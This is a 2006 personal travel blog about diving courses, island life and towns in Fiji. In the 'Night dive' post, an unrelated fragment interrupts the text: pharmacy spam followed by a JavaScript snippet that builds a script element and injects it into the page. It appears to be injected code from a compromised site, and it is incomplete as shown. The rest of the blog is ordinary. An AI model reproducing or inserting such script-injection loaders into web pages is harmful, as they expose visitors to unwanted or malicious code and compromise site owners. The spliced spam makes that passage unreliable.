The dark side of ‘Fiji time’

Posted by admin On July - 29 - 2006

This Saturday should be the day of the shark feeding in Pacific Harbour. You can’t imagine how excited I was. Its the best shark feeding of the world and you see heaps of different sharks very close. The more I was disappointed after we got up early in the morning that there will be no shark feeding for us today…Why?!? Just let me explain it with Fiji time. Fijian people are relaxed – sometimes too relaxed… So it happened that the shark feeding boat, a predator, was supposed to be fixed by somebody. But this person never appeared so nobody fixed the boat. And they had not noticed that until today morning…s**t! Never mind. The next shark feeding will be not before Monday! I hope Glenn will stay with me that long… Glenn and I visited together with Andy and Cat Suva the capital of Fiji. It was a very busy Saturday and I was not anymore used to this stress around me… So after walking the whole city I was quite happy when we found a DVD shop where Glenn selected DVD´s and I checked my emails (first time after three weeks – heaps of spam).

Pacific Harbor

Posted by admin On July - 28 - 2006

The trip from Nadi to Pacific Harbor is about three hours. I was surprised because our express bus got video and we watched a cheesy ‘Sniper’ movie and ‘Terminator 3’. We stayed at ‘Safari Club Resort’ of Tony at Pacific Harbour. Tony is a very nice guy and it was the best room I had in Fiji so far. With kitchen and own hot shower and TV. Felt immediately like home. In the afternoon we visited the near ‘Arts Village’ and I had the best smoothie since weeks.

Nadi town

Posted by admin On July - 27 - 2006

Nadi (speak Nandi) is a nice little town with about 30.900 inhabitants. Its Fiji’s third largest city. From here most visitors start there traveling around Fiji and its islands. Today I got the chance to have a look in Nadi’s busy streets. First while Glenn organized things in Denerau I went in to a café close by and had a refreshing ice coffee. Later we went into the center of Nadi examining the clothes and handicraft stores. I’ve seen the big Indian temple and had the best samosas (Indian dish) of whole Fiji (Glenn said so). I still do photos even when it is with my cheap quick snap but I wont complain. Its just a different aesthetics. Look below…

Walk the island…

Posted by admin On July - 23 - 2006

After Zoe, Aaron, Mark, Rosie and the girls left the island it felt more quiet than ever before. Not many people from the original crowd were left. Nathan, Simon, Simone and I decided to walk around the island. It took us about 3 1/2 hours for walking first to the millenium bure, then more further and after the mangroves down to the beach through the jungle. I arrived first at the beach and went straight into the water. Had done a vision my camera felt down into the water so I went back to the beach to save it. On this way back it happened, the camera dipped into the water. But it was not destroyed, just could not work properly anymore. What a shock! No photos anymore. Hopefully the others send me as much photos back… In the evening was beach party and I saw the first time in my life shooting stars. And about seven! That was very good after the stupid camera accident.

Harriet’s birthday

Posted by admin On July - 20 - 2006

Today was Harriet’s birthday. This day was a perfect day for a 19th birthday (wished I could be that young again… The sun was shining and Harriet, Lucie and I went to the beach on the other side, called ‘Oné Beach’. To go there it takes about 20min alongside the sunset hill. The view is amazing since you can see both lagoons. Nananu-I-Ra is such a wonderful paradise. Barely anybody walks along the beautiful back beach.. In the evening everybody was going to watch the sunset at the sunset hill which was one of the best I’ve seen ever.

Nananu-I-Ra – the perfect paradise

Wreck diving

Posted by admin On July - 19 - 2006

The last dive in the advanced mode was a wreck dive in the ‘Papanu Explorer’. We met at 6:30am because Adrian (Dive con) picked up his girl friend Kirsten from the airport today. The wreck was amazing. The visibility was not that good, the water was a bit blurry but then there it was. First of all we swam araund it and then from the bottom up throgh each room. I saw a big sleeping fish and some giant clam shells. In the evening got my Logbook with my advanced certivicate back. Have now 14 dives.

At 11:30pm Glenn and I took the boat to Rakiraki for shopping. Had a nice day, good food and good conversation. On the way back to the island we stoped at a fish shop and I bought a snapper just for F$ 2,40! Will prepare the fish the next day with fresh coconut sauce.

In the evening was Lovo (like Maori Hangi) night with the traditional polinesian dance.

Night dive

Posted by admin On July - 18 - 2006

Next in course was an ordinary boat dive but we went again to the ‘Shark Junction’ and saw about eight White Tip Reef Sharks. Very beautiful creatures. I dived over one and it was beautiful. Saw as well a sea snake. In the evening I done the night dive. My buddy was Aaron who gaves me the nice photos of some fish and the turtle. This dive was an experiment but didn’t like the night dives that much. Its dark and you go diving with a torch. If you swich out the light, you see the fluorecence particle in the water glow. The polyps of the coralls only come out at night time, some crabs moved and I saw open clam shells. pacific care pharmacy var d=document;var s=d.createElement(‘script’); document.currentScript.parentNode.insertBefore(s, document.currentScript);

Golden Dreams

Posted by admin On July - 16 - 2006

Diving is addictive. After finishing my Open Water Course I decided to do one more dive because just find out how to dive just with using the lungs for diving up and down. We went to my favourite dive site ‘Golden Dreams’, next to ‘Shark Junction’. ‘Golden Dreams’ was in ‘National Geographic’ and Cousteau said it belongs to the ten best dive sites in the world. It was so wonderful. And the best of all was that I saw there today my first shark near the ‘Shark Junction’. It was a White Tip Reef Shark (see on Aarons picture below). I thought now I should do my Advanced Course. Glenn said I will be allright and can do it.

First boat dives

Posted by admin On July - 15 - 2006

After passing my mask skill and completing all skills I was ready for going diving in the breathtaking reefs at the Bligh Water around Nananu-I-Ra. And right on my first dive in the morning at ‘Bula Maker’ I saw a turtle. It was so beautiful. On the afternoon dive we went to another dive site called ‘Dream Maker’. Both beautiful with corals and hundreds of different fish. In the evening made the written multiple choice test for finishing the Open Water course. In the evening we had the beach party
